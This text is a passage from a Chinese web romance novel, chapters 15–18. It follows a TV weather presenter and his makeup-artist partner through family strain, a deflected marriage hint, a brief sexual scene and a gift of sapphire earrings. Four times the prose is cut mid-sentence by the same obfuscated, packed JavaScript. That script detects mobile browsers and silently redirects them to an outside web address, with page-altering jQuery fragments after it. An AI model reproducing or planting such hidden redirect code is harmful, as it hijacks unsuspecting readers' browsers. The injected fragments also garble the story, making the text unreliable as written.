“那你应该委婉地拒绝他,因为你现在的职业很特殊,以后也最好不要跟他保持密切的联系,这对你和对桂桂老师都好,是吗?”奚沧把他抱过来,一起躺进床里。 方唯安终于放下心,在奚沧胸口找了个舒服的地方,晃晃脑袋,“对,我以后肯定不会再随便跟店长联系了,我明天就跟他解释清楚,电视台正在严打私约采购,我不能明知故犯。” 奚沧欣慰地笑了笑,“以后有什么事也要马上告诉我。” “好的,”方唯安仰起头,亲了一下他的唇角,“谢谢奚哥。” . 第二天午休,方唯安回复了Leo,桂桂老师目前没有这样的意向,不过还是跟他要了联系方式,如果有需求会主动联系他。 完成后,他把信息截图分享给奚沧,换来对方的亲切赞赏。 压在心头的不安彻底消散,方唯安开心了一整天。 晚餐结束后,他甚至主动提议说要洗碗。 奚沧在心里偷笑,做了个“请”的手势。他在厨房里陪了方唯安一阵,最后被一通电话叫去了书房。 洗碗机开始运转,方唯安擦净桌面,铺上圣诞桌旗,大功告成后就昂着小脑袋往书房里钻。 奚沧还在通话,方唯安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730278|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄没声溜到他桌边,抱着他的脖子,身子一歪,坐在他的腿上。 然后美滋滋地从睡衣口袋里掏出本漫画书看起来。 奚沧忽然搂紧他的腰,蹙眉沉沉“嗯”了一声。 方唯安放下漫画书,默默观察他。 奚沧整个人都很紧绷,说了很多个代表赞同的“嗯”,可眉头却越皱越紧,表情也愈发不耐烦。 “我可以再帮小佑找找有没有适合他的工作……不过每个项目的职位早就在立项初期就确认了,这时候贸然插个人进去,他们不会同意的。” “……就算我是主持人也不行,我和总编导只是同事关系。” “据他的同事反馈,他平时的工作状态并不很积极,也经常迟到早退。他被派去打杂,可能也有这方面原因。” 密集的说话声透过听筒传出来,虽然听不清具体内容,可能明显感觉到对方情绪激动。 “我真的没有办法。我说了,人脉关系是一方面,努力和能力才是最关键的。小佑的起点已经比他的同学们要高很多了……” 奚沧垂下头,轻轻吻着方唯安的头顶。须臾,他垂下手,手机滑落在桌面,他将这张脸都埋进方唯安的颈窝儿。 “你,打完电话啦?”方唯安问。 回答他的那一声“嗯”又闷又沉,听得方唯安难受。 奚沧又用力吸了几口才抬起头,眼皮怔忪,流露出很难得的迷茫和脆弱,“方唯安,我爸妈怎么会这样对我呢?” 这个问题也让方唯安困惑,是呀,父母对自己的两个小孩的爱怎么会有这么悬殊的偏差? 眼瞧着方唯安开始发呆,奚沧扯着嘴角笑了笑,评价他,“真可爱。” “方唯安,我告诉你一个秘密好不好?”奚沧很认真地看着他。 方唯安也郑重地点点头,“嗯。” “其实我不是我爸妈亲生的,奚佑才是。” 方唯安的眼睛霎时瞪大了,很吃惊的样子,“真的啊?” 对视片刻,奚沧突然噗嗤一笑,“当然是假的啦,我又不是什么小说男主?!” 方唯安横呆呆地瞪着他。 奚沧又变得认真,“但其实,我一直挺希望自己是他们捡来的,或者是从福利院领养回家的,怕我伤心所以一直不告诉我……但我偷偷查过,我们就是一家人,血脉相通的一家人。” 他问:“是不是挺讽刺?” “奚沧……”方唯安亲了亲他的脸。 “我也不知道,自己还能坚持多久……被忽略,被利用,又被明晃晃地放弃,”奚沧很落寞吻了吻方唯安,“我也不知道,自己到底什么时候才能不对他们有所期待。” 方唯安第一次觉得自己特别特别笨,不仅脑子笨,嘴也很笨。 奚沧都这么难过了,他却连一句中肯的安慰的话都想不出。 他不确定一个人对家人失望是种什么感觉,可他能感觉到奚沧的迷茫和绝望。 是啊,到底什么时候才能放下期待,明白自己确实不被爱,也不需要他们的爱。 人如果真的能有那么洒脱就好了! 奚沧抓着方唯安的手看了一阵,忽得振作些许,若有所思道:“可能,要等我有了自己的家庭?” “自己的,家庭?”方唯安的心跳都快停了,用尽全身力气换了一口气,“什么意思啊?” 奚沧勾起唇角,笑着说:“意思就是,等将来我结了婚,组建了自己的家庭,拥有自己选择的家人,或许就不会对不爱我的家人有太多期待了。” 方唯安失神地看着他,身体一点一点变冷。 此刻,奚沧的微笑在他眼中堪称残忍,像糖果练成的刀,甜蜜又痛快地割破他的喉管,刺穿他的心脏。 那把刀伴随奚沧的声音割下,“方唯安,你觉得呢,我该组建一个家庭吗?” 16. 第 16 章 【15章已改文,改动较大,追更的读者得先重看第15章再回来看这章,实在是不好意思(跪)】 “不该……” 说出这句话时,方唯安几乎用尽了毕生的力气和反应能力。 奚沧有些错愕,确认道:“不该?我不该结婚,不该组建自己的家庭?” “嗯,”方唯安挣开他的怀抱,站了起来,“你现在正在事业上升期,应该以事业为重。家庭的话,你应该不用担心……” 反正有大把的人想要嫁给你,你随便勾勾手就会有人穿着婚纱出现吧? 奚沧直勾勾地瞅着方唯安。 这是,在担心我的事业? “事业,是挺重要的。”奚沧抿了一下嘴唇,略显尴尬。 他自认反应还算成熟,他们栏目组有个求婚失败的同事可是哭了整整两个礼拜! 求婚失败的奚沧只好敛起情绪,捏了捏方唯安的脸,“好吧,那我就专注事业,暂时不考虑组建家庭的事了。” 方唯安好像松了一口气的样子,一屁股坐在地毯上。 奚沧把他拉起来,要他去睡觉,方唯安好像突然变得很累,一个熊抱抱紧了他。 “不就让你洗碗了嘛,”奚沧无可奈何地轻叹,“以后还是我洗碗,你在旁边吃苹果,行吗?” 方唯安没说话,誓要让他自责一样;奚沧只好勾着他的两条腿将他抱起来,两个人一起走进浴室。 一整晚,方唯安都对他黏黏糊糊的,亲密到让奚沧彷徨,敲打着奚沧的爱意。 所以即使求婚失败,奚沧却连失落的情绪都没敢表露,紧紧抱着方唯安入睡,还承诺他明天一起约会。 方唯安终于开心了一些,跟他确认了几次,“真的啊?” “当然,”宛如一个情窦初开的男孩,他挺胸保证,带着坚不可摧的决心,“带你吃好吃的,再带你去买裙子。” 听到裙子,方唯安明显更开心了,眯着眼跟他笑。 奚沧一边暗骂自己无可救药,一边又将他抱紧了,手探进他的裙摆。 方唯安今天穿的是条蕾丝睡裙,起初叫唤着扎,后来裙子被扯成一条一条,他终于生气了。 半夜想起来都要踹奚沧一脚的程度!那么漂亮的裙子说撕就撕,拿来遮他的眼,堵他的嘴,绑他的手,放进他的身体。 不是暴殄天物吗?! 哐——方唯安真的踹了一脚,这才泄愤,抱着枕头心满意足地睡了。 . 一时口快允诺了晚上的约会,奚沧不得不在白天尽力赶工,这个人忙得焦头烂额。 可偏偏,今天是他录制行程最紧的一天。上午要去拍摄选秀节目的动员会,中午回到台里参加公益访谈,下午先去参加新年公益宣传片的拍摄,然后再去气象栏目组主持会议,审阅台本和3D云图,再录制气象播报…… 因此,桂桂老师和方唯安今天的主要任务也都围绕着他。 为了躲避狂热粉丝,最近几期《Shine in U》的录制都在郊区进行。奚沧一早抵达台里化妆,随后乘车前往录制现场。 方唯安肩抗两只大化妆箱,跟着桂桂老师的脚步走进摄影棚,霎时被舞台规模惊得说不出话。 比赛已经进行到最后角逐,本场是最后一次淘汰赛,对于选手们来说,也是他们最后一次争取被观众记住的机会。 后台的氛围可想而知,方唯安不断经过那些野心勃勃又焦虑万分的选手们,进入主持人专属化妆间。 奚沧休息的时候,不断有编导进来倒数录制时间;最后一次,只见奚佑走进来,微微俯身对奚沧说:“哥,可以出来stand-by了。” 说实话,奚沧没想到弟弟能坚持这么久。 毕竟他前两天还跟他们父母抱怨了这份工作的种种不是—— 以为是过来当编导的,原来就是个打杂的。 说是打杂,实际别人连正眼都不瞧他一下,在这里工作简直没有尊严。 爸妈听后心疼不已,连忙给奚沧拨去电话问责。 你弟弟这么难受,都是你这个当哥哥的没有打点好关系。 奚沧只是纳闷,他自己也只是个打工的,又不是台长,他有什么关系好打点? 奚沧看了奚佑一眼,理了理衣服,迈步走出化妆间。 沿路碰到的工作人员和选手,都会停下里很客气地跟奚沧打招呼,奚沧也礼貌应对。 走在他身侧的奚佑则陷入某种矛盾的情绪,一方面沾沾自喜,有了哥哥在前面铺路,将来自己也一定会在台里平步青云。 所以说,屈辱只是暂时的。 另一方面,即便屈辱是暂时的,也可屈辱所带来的痛苦确实真的。 假如没有哥哥,自己可能打破脑袋也得不到现在这个“打杂”的机会;也正是因为哥哥,爸妈默认他一定会比哥哥还有出息。 因为他已然得到了比哥哥多得多的爱与关注。 奚佑故作轻松地望向他哥,“哥,等录完节目一起去喝杯咖啡吧,咱们俩好久没聊天了。” “不行。” 这个提议被奚沧毫不留情地拒绝了,“我下午还有别的工作,腾不出时间。” “哦,好吧,”奚佑用手心搓搓裤子,故作轻松地说,“爸妈说你今年过年不回家了,真搞笑,他们俩肯定是把你的哪句话听岔了。哥今年咱们俩一起回去,到时候你突然出现,吓他们俩一跳!” 奚沧顿了一瞬,转过头看向弟弟,“我确实是不打算回家。” “为什么?”奚佑一脸错愕,“不回家的话……不回家你去哪儿过年啊?” 再说了,过年不就是要一家人团团圆圆吗? “可能出国度个假,或者在家歇两天。”奚沧这话说得稀松平常,全然没把弟弟的失落看在眼里。 “是因为方唯安吗?”奚佑停下,阴沉着脸问他哥。 奚沧没回答,双手接过工作人员递来的台本,找了个地方温词。 . 有了上一次冒冒失失给自己整了个脑震荡的经验,录制开始后,方唯安选择留在化妆间,不去前台凑热闹。 他把两个化妆盒里的所有化妆品都拿出来清理了一遍,也迟钝地意识到,以桂桂老师在行业的影响力来说,自己的老东家的产品可能确实够不上“桂桂精选”的资格。 还好提前问过奚沧,方唯安后知后觉这真是个英明的决定。 桂桂老师见惯了大场面,对这种节目早就没什么兴趣了,躲在化妆间里玩手机。 方唯安一个人忙活了快一小时,她终于放下手机,看了会儿方唯安。 “唯安,你为什么喜欢化妆?” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730279|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”方唯安钝钝地转过头,反应过来她的问题,又低头组织措辞,“就是觉得,这些化妆品很漂亮,它本身漂亮,它的使用者也会变得很漂亮……” “你素颜也很漂亮啊,不需要借助化妆品吧?”桂桂老师整了整披肩,“我倒是见过好的年轻男孩子想要入这行,其实是受喜欢的明星的影响。” 方唯安歪了下脖子,“明星啊?” “对呀,其实化妆是一件很亲密的事,你要在一个人毫无遮挡的素颜上发挥,观察他,描摹他的样子,列举他的优劣点,然后在心里为他打造最适合他的、完美的妆容……像是你用你的手,捏了一个完美的神,”桂桂老师自嘲,“我这么说好像有点像自卖自夸吼!” 方唯安连忙摇头,“我有时候也会这么想。” 桂桂察觉到什么,“唯安也追星啊?” 方唯安笑了笑,低下头,想不到任何理由否认。 自己对奚沧的这种感情,是追星吗? 追星的人听到偶像说想要结婚,也还是会失落的吧? 即使从来也没有奢望过真正拥有。 不过,好像确实听说明星恋爱结婚,粉丝坚决抵制来着…… 方唯安想象不到如果有一天奚沧真的要结婚了,他要怎么办。 想多了头痛,他只想得过且过,多在奚沧身边待一天就是一天。 化妆间里有个小电视,里面正循环播放着《Shine in U》的往期节目。 桂桂老师看到了奚沧的“卷毛小熊”造型,忍不住夸赞方唯安,“你在化妆方面真的挺有天赋的,当时是你第一次见奚沧本人吧,马上就抓住了他的外型优势,还懂得强调他的优势,真的很难得……” 这也是桂桂老师愿意收方唯安为徒的原因,奚沧的推荐只起个搭线的作用。 方唯安一阵心虚,差点把手里的眼影盘摔了,“我……其实之前总是见他。” 总是见? 结合刚才的对话,桂桂自然地展开联想,随即笑了声来,“哦,原来你喜欢的明星是奚沧啊!” 方唯安琢磨了半瞬,“差不多吧。” “好嘞,那以后我多让你给奚沧化化妆!”桂桂老师的眼睛亮晶晶的,“亲爱的,相信我,没有人比情人的眼睛更毒辣,更敏感。” 方唯安有点脸热,场务来通知即将短暂休息,化妆师可以准备给艺人补妆了。 桂桂老师直接把方唯安推出去,“你去吧,我相信你肯定不会搞砸的。” 方唯安扛着刚刚收拾好的化妆箱出发,到达主舞台下面的休息区,奚沧被团团选手簇拥,跟他讨教经验,问他要签名。 奚沧今天穿着一席白色西服,胸口插朵花就可以直奔婚礼现场一样。 “我该组建一个家庭吗——” 呆呆看着,耳边忽然出现昨晚奚沧的声音。 方唯安张了张嘴,迟钝意识到,原来自己在心痛。 如果奚沧要他帮忙化新郎妆怎么办? 方唯安想了几秒,已经快窒息了。 “唯安——”有人拍拍他的肩膀,他转身,店长就站在他身后,“再怎么样,请我喝杯咖啡总不为过吧?” “方唯安!” 人群中心也有人在叫他的名字,奚沧直勾勾看着他,蹭了一下自己的嘴唇,“麻烦帮我补一下妆!” 17.第 17 章 方唯安有时候想,要是每个人都能提前知道自己的命运就好了。 这个命运无法改变,所以也没人徒劳地与之抗衡。所有人都会心平气和地按照既定地轨迹生活,一步一个脚印,直到生命的终结。 这样的话,他就能提前规划好自己的预期与心情,了解自己和身边的每个人的关系。 也能提前知道奚沧什么时候会结婚,婚礼是什么样的,新娘是明星还是素人。 如此一来,方唯安可以精准地把握时间离开,奚沧也不会再追到酒店把他接走,因为知道自己即将与命定的爱人相遇。 如果是那样就好了。 方唯安有点头疼。 “不凑巧诶,奚沧找你补妆了。”Leo以为方唯安没听到奚沧的声音,还推推他的肩膀,提醒他注意。 方唯安就这么拎着化妆箱,在所有人的注视中走到奚沧面前。附近没有能让他把化妆箱打开的空间,有个很好心的选手托着他箱子的底端,在他看过来的时候告诉他,“老师,再往里走走有个小桌子,灯光也不错,你们去那里吧!” 走过去才发现,好心选手口中的小桌子已经被占了,常里斯的化妆师麻利地拢了拢铺满台面的化妆品,有点怕惹麻烦似的说:“奚老师,没看到您来。” “没事,”奚沧转过头,跟方唯安说,“再找个地方吧。” 他们最后找了个用于舞台置景的小平台,就是光源不太好,方唯安打开化妆箱,取出一个内嵌LED灯光的便携化妆镜,举起来在奚沧脸上照了一遍。 奚沧的嘴巴放平,眼皮微微遮着,用凌厉的视线扫了方唯安一眼—— 明显是生气了。 难怪刚才常里斯的化妆师会表现得那么惶恐,就连一向殷切的常里斯看到他时都没有出声。 “我不是叫你不要再和那个店长说话了吗?”奚沧压着火,没有看方唯安。 “我没有说话啊,”方唯安有点奇怪,“是他跟我说话的,我还没来得及回答他,所以……不算是说话。” “那他跟你说什么了?”奚沧问。 方唯安沉默了。 如果没有奚沧突然叫他,他可能真的会因为太过抱歉而请Leo喝咖啡。 奚沧的妆面一点没花,为了方便操作,方唯安让奚沧自己举着镜子,帮他描了一遍眼线。 主舞台那边开始调试灯光,他们头顶的光源消失了。方唯安只好用镜子上的光照明,找到想用的唇釉。 他走回来,奚沧主动接过镜子,微微仰着下巴,等方唯安补妆。 小镜子落下一块圆形光柱,照在奚沧的嘴唇上,方唯安很悲哀地想,等奚沧组建了自己的家庭,他就再也不能吻奚沧了。 手都举酸了,方唯安还是没调好唇釉;奚沧闭着眼,没什么耐心地等,忽然觉得嘴唇一热,没来得及想太多,下意识地将小镜子拿远了。 方唯安的嘴唇很软,微热,安安静静地覆盖在奚沧的嘴唇上,没有什么深入的意思。 奚沧屏着气让他亲了一会儿,才慢慢退开头。看不到方唯安的表情,他很低地问了一句,“干嘛?” 方唯安吸了吸鼻子,说:“没事。” “我其实,也没有那么生气。”奚沧把镜子举起来,对着方唯安晃晃。方唯安的眼睛湿漉漉的,特别好看。 “我知道,有时候对你的要求有点过分,”奚沧把镜子对准方唯安的嘴唇,有些傲慢又压不住声调地警告,“但是,以后不能再这么冲动地吻我了,我不想以这样的方式公开。” 方唯安的嘴唇动了动,他天生体毛很少,唇上的胡茬也稀薄,被这样的光源照射,有种搔着心头的痒痒的可爱。 “好的。” . 今天的录制内容是奚沧来探班选手彩排,看一遍表演,再给他们提提意见。 录制形势不算太正式,所以午饭前就顺利完成了拍摄。 奚沧自掏腰包给请所有选手和工作人员喝咖啡,外卖送到场馆外面,实习生们帮忙取进来分发出去。 跟着奚沧的团队一起离开前,方唯安看到Leo也被分到一杯咖啡,心情好受了点。 别管谁买的,Leo总归有咖啡喝了。 回到台里,奚沧去气象组开会,桂桂老师带着方唯安上楼去给别的节目做妆造。 年末行程紧张,他们忙了两个多钟头之后,桂桂老师接了个电话,然后拍拍方唯安的肩膀,“快,去给你偶像化个妆!” 方唯安正在干洗化妆刷,闻言木木地看着她,“什么偶像?” “就是奚沧嘛,咱俩早上还聊来着,”桂桂老师的疲态明显,实在是懒得折腾了,“气象播报嘛,给他化得周正一点就好,也不用特别设计,没什么难度的,快去吧!” 方唯安领命离开,桂桂老师还跟熟人打趣,“奚沧的小粉丝呢,做这种事肯定用心。” 人家回她:“那你还放心让他去化妆,别让奚沧不高兴了。” “应该没事吧?”桂桂老师想了想,“这孩子挺老实的,而且他还是奚沧推荐给我的……” “奚沧?他给你推荐化妆师啊?” “啊,说是合作了一次,发现还不错;不过他俩好像是老乡,奚沧才愿意帮忙的吧?” 人家嗔笑,“没想到啊,我们油盐不进的奚老师还有思乡情结呗。” 两人相识一笑,桂桂老师用散粉压了一下妆面,换下一个人。她有点渴,清了清嗓子,手边忽然多出一杯温茶。 “老师,看您忙了这么久,喝口茶润润喉。”一个男生站在她身侧,颈间挂着实习工牌。 桂桂老师感恩地一口喝尽了,“谢谢,现在的孩子真细心啊,叫什么名字啊?” 实习生重新为她续上茶,“您叫我小佑就行。” . 傍晚,奚沧言出必行,真的在紧巴巴的日程里挤出空闲,准时下班了。 方唯安在电视台的一条街之外等他,上车之后,奚沧将车开入云港的老城区,停在一家私房菜馆前面。 这家菜馆的味道一般,但隐蔽性较强,因而成了两人的指定约会餐厅。 奚沧也知道,因为身份特殊,跟他约会其实很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740849|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无聊。 每次都去同样的餐厅,好吃的菜品就那么几样;然后再开着车在餐厅附近绕绕,看看老建筑听听歌。 唯一有意思的地方可能就是约会流程的第三站,一家开在山脚下面的高端买手店。 奚沧在车里等,方唯安进去试衣服,在试衣间里拍下心仪衣裙的照片。奚沧坐在车里一边欣赏照片,一边痛快地让他all-in。 最后方唯安抓着购物袋满载而归,奚沧亲亲他的脸颊,轻松愉悦地开车回家,结束约会。 就这么几件事,说起来毫无吸引力,可方唯安每次都乐在其中,无论哪个流程都表现得特别雀跃。 方唯安真的太好哄了,可能是没谈过什么恋爱的原因,对待伴侣既无要求也无底线。 奚沧想,方唯安还好是碰上了他,要是碰到什么奇奇怪怪的人,估计会被玩到骨头都不剩…… 买手店里试衣服的方唯安开始给他发照片了,这次来方唯安只选了三条裙子,每一条都很适合他。 奚沧抓着手机,指尖在他的锁骨上流连几番,方唯安的骨架很小,身体柔软,手臂好像细得使劲一捏就断了。 就这么迷恋地看了一阵,奚沧忽然惊醒,不对,这不是昨晚才求婚被拒的男人应该有的状态。 方唯安甚至很狡猾地拒绝他的求婚,并让他把他带出来约会! 或许是因为迟迟想不明白缘由,奚沧心里有点没底,又带着些许埋怨,攥着手机迟迟没回复。 方唯安又发来信息问他的意见,还发了个小熊满脑袋问号的表情,接下来又问:【奚沧,你是不是睡着了?】 奚沧很想问问方唯安对另一半到底有什么特别的要求,又觉得这样很伤自尊。冥思苦想了一阵,他干脆一个电话把方唯安叫回车里。 不久,就见方唯安出现在他的车前,拉开车门坐了进来。 购物被粗暴打断的方唯安并没有表现出丝毫不快,关切地看着奚沧,“台里叫你回去加班吗?” “不是……”奚沧用手心蹭着方向盘,清了清嗓子说,“方唯安,我有件事问你。” “在那之前,可不可以先看看这个?”没想到方唯安突然从口袋里掏出一个红色的小盒子,轻轻放在奚沧腿上。 “这是什么?”奚沧说着,点开车里的顶灯,盒子里是一对蓝宝石耳钉,在灯光的映衬下格外耀眼。 “送我的?”奚沧一时不知该说什么了。 方唯安点点头,“我挑了好久,感觉这个最适合你。” 嘴唇轻抿,奚沧有点不确定,“这个很贵吧?” “我好几个月的工资吧,”方唯安很郑重地看着他,“所以奚沧,你一定要好好戴它们。” 很多情绪交缠,奚沧直直盯着方唯安。 他的安安,过去是谜,现在也变成了谜;好像喜欢他,又好像从来没想过和他的未来…… 他越来越看不懂了。 “奚沧,你刚刚想问我什么?”方唯安看着他。 “……”奚沧小心地掌心里的小盒子盖好,“那几条裙子买了吗?” 18.第 18 章 今日暴雪天气较多,担心市民的出行安全,交通部门封锁了市区内几条拥挤窄小的老路。 方唯安回答说没有喜欢的裙子,奚沧就没让他再回买手店。他打开地图功能,输入家的位置,导航说预计的驾驶时间为55分钟。 奚沧把方唯安送给他的礼物揣进上衣口袋,心说还要55分钟他才能再次开启那只小盒子,细细端详方唯安的心意。 车开出一段路程,奚沧发现方唯安一直埋着头坐着,看起来兴致不是很高,就问他在想什么。 “奚沧,”方唯安有点犹豫,声音听起来困困的,“我算了算,那对耳钉用掉了我四个半月的工资加绩效。” 奚沧不知道方唯安怎么突然开始算计这些,这家伙好像一直对金钱的观念很淡薄,大概是没过过几天需要为钱发愁的日子。 方唯安一直拿着奚沧的副卡,他的物欲不算高,只对好看的裙子有偏执,看上哪条就会很努力地买回家,再用心珍藏起来。 后来方唯安找到工作,奚沧曾用“待遇不好”劝他放弃。方唯安摇头,拒绝得有理有据,“那也好过一点收入都没有吧?” 奚沧打趣道:“方唯安,你知不知道送人礼物还特意说明价格这种事很没有礼貌?” “我知道,”方唯安点点头,“我妈妈告诉过我。” 方唯安小时候不怎么受同学们欢迎,男生们说他是“娘娘腔”,女生又觉得跟他有性别隔阂。不过有一次,他们班班长过生日,请全班同学去他家聚餐。 收到邀请的方唯安兴奋极了,买了一双很贵的球鞋作为礼物,光选包装纸就选了半小时。他妈妈也很兴奋,贴心地将球鞋标签上的价格撕掉了,说这样的话,收到礼物的人不会感觉有负担,这是一种绅士且礼貌的举动。 第二天,方唯安抱着礼物出现在生日派对的现场。班长从他手里接过盒子,拆都没拆,对他说谢谢。 方唯安以为收了礼物之后他们就是朋友了,可第二天在学校迎面碰上,方唯安笑着跟班长招手,班长好像忘了昨晚的事情一样,冷漠地略过他继续向前走…… 所以方唯安觉得,还是要告诉奚沧礼物的价格,这样对方之后想到这份礼物就会有所负担。 有负担就不会轻易丢掉,等以后他们俩分开了,每次奚沧看到这个礼物,说不定就会重新想起方唯安。 方唯安想,如果自己注定是奚沧人生沿途的风景,那他要做一条下雪天就会封锁的老路,在奚沧的记忆地图里用特殊符号标注,闪烁着警示色的光。 奚沧打了转向灯,车子慢腾腾汇入环城高架,他默默提速,看着前方说,“心疼的话,我回去把钱转给你吧。” “我不要,”方唯安连连摆手,讳莫如深道,“奚沧,你只要记得它们很贵就好。” . 回到家,方唯安洗了手,换上睡衣,去厨房倒水喝。 他刚从橱柜里取了只杯子,忽得身体一轻,奚沧从后抱住他,托着他的腿弯,将他放到岛台上。 “给我戴上。”奚沧将盒子塞进方唯安手心,脸凑到他眼前,眼睛里闪动着喜悦。 看来是真的很喜欢啊。 方唯安欣慰地笑,小心翼翼地取下耳钉给他戴上,然后往后挪了挪屁股,煞有其事地审视奚沧的全貌。 蓝宝石在明亮的灯光下面显得尤为清透。 再加上奚沧面部的骨相优越,眉骨和鼻梁高挺,浓眉,眼型偏细长却深邃,眼皮的颜色带着点粉。 这张脸上多了一道蔚蓝,更显得出挑,整体风格跃入异度,危险而妖冶。 方唯安满意道:“很适合你。” 奚沧凝望方唯安的眼睛,那里面嵌着两个小小的自己,他来回晃动着头,笑了一下,说:“好看。” 前几年奚沧主持了一台少数民族主题晚会,为了配合整体妆造,他和几个同事一起打了耳洞。 刚打耳洞那天,其他一同拥有耳洞的同事都没事,只有他的耳朵在创伤半小时后迅速变红和肿大,淡黄色的组织液渗到了塑料耳针的外面。 “偶尔也会有这样的情况,没事儿,回家勤着涂点药就行。”医生丢给他一支药膏。 那天奚沧回了家,方唯安绕着他看了好几圈,然后评价,“奚沧,你的耳朵肿得好像猪耳朵呀。” 奚沧没好气,彼时方唯安才刚搬过来不到半年,他们俩也不算太相熟。 后半夜,奚沧醒过来,耳边飘忽着莫名其妙的风声,大概类似“扑呼——呼——”。 他侧过身,发现方唯安正趴在他床边,纯真又着实诡异地给他吹耳朵。 方唯安叫他继续睡,奚沧虽然心有戚戚,过了不久却真的睡着了。 第二天醒来,方唯安睡在他的床下,身上裹的是他的被子,脑袋下垫的是他的枕头…… 也许当时的伤确实严重,导致耳朵上缺掉的肉到现在都没有重新长好。 也多亏它们还在,不然为了戴上方唯安的礼物,他还得再去挨两下痛。 方唯安一直盯着奚沧看,看着看着,那双眼又变得湿漉漉起来。他的眼神变得很重里面夹杂着某种很浓郁的情感。 还没来得及仔细辨别那种情感到底是什么,方唯安就先推了推他,然后从他胳膊下面钻出来,双脚落地,“我想去喝水,你要不要?” “好,”奚沧放任他离开,顺手拿起他的手机翻阅起来,“方唯安,怎么有这么多人想加你好友,你今天干嘛了?” 方唯安正在厨房倒水,说了句什么,被净水器运作的声音盖掉一部分,奚沧只听到一句有点哀怨的尾音,“¥%……¥不知道。” 他低着头,继续翻动,帮方唯安加了几个必要的联络人,其他通通忽视。 方唯安端着两杯温水回来,看到奚沧正熟稔地用着他的手机,第一次感到有点不平衡。 凭什么都是奚沧看他的,介入他的生活,决定他的社交网络? 那他呢,如果有一天他消失了,奚沧的生活大概也不会有半点变化吧? 充其量的,因为不用再给他买裙子了,奚沧卡里余额会变多;每晚不用给他洗澡挑衣服了,奚沧的个人时间也会充裕起来—— 然后,再浪费在一个新的人身上。 方唯安狠狠抽了一口气。 “怎么了?”奚沧听他发出“嘶”的一声,关切地看着他,“不舒服吗,是嗓子难受吗还是呼吸道?” 方唯安扁着嘴巴,将两杯水放到岛台上,没什么声调地说,“我也要看你的手机。” “什么?”奚沧的眼睛亮了一瞬,听到什么稀罕事儿一样,“你要查我岗啊?” 一边将自己的手机递到他手里,“密码是你的生日。” 方唯安的心猛地揪痛,故作镇定地解锁,一页一页地翻看起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766367|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奚沧的手机桌面只有三页,共14个应用,多数是气象方面的专业应用,要很长时间才能加载完成。 点开他的通讯软件,对话框基本都跟工作有关,大部分联络人都以“部门—职位—姓名”的方式备注。 方唯安翻了一阵,然后发现自己其实被奚沧放到了置顶,备注名为“FWA”。 FWA?这是什么名字? 还不如他的昵称“裙裙国王”。 同样隐蔽,却很可爱。 奚沧不理解方唯安抓狂的原因,于是说:“我在你的列表里不也只是‘奚’?” 他搞不懂这二者的区别。 不过今晚他收了礼,方唯安又不是无理取闹的人,他便顺从地点开方唯安的资料,问:“那我要设成什么?” 方唯安毫无想法地沉默。奚沧就改了自己手机里方唯安的备注,又拿着方唯安的手机操作了一阵。 待手机重新回到自己手里,方唯安打开通讯软件,奚沧占据置顶位,名字改成“奚哥”。 “那我呢?”扣上手机,方唯安看过去。奚沧喝着水,早就料到一样,将手机屏幕翻到他面前。 置顶联系人改名叫“宝宝”。 . “组建家庭”的事没人再提起,却变成两人心头的刺,时不时钻出来扎他们一下,不致命,但满心苦楚。 方唯安顺利度过第一个月学徒期,桂桂老师发现他很有天赋,手下一个三个学徒两个助理,最喜欢逗弄和教育的人都是方唯安。 忙完跨年,接下来就是为春节做准备,电视台上上下下,每个人的时程表都被塞得满满当当。 又是个雪天,方唯安跑出来买咖啡,刚走出电视台大门,太阳便从云层中露出一角。 阳光覆盖的雪地莹莹闪光,方唯安的雪地靴踩上去,白雪吱吱地叫。 点完桂桂老师的单子,方唯安想了想,追加了一杯热拿铁。 在有限的时间里,他想尽量对奚沧好一点,这样以后奚沧想起他来,回忆里就不会全是那些给他买的裙子或者因为他生的气。 制作咖啡的时间较长,方唯安就慢慢脱掉帽子和围巾,解开大衣拉链。 “嘿!唯安!”有人拍拍他,声音很熟悉。 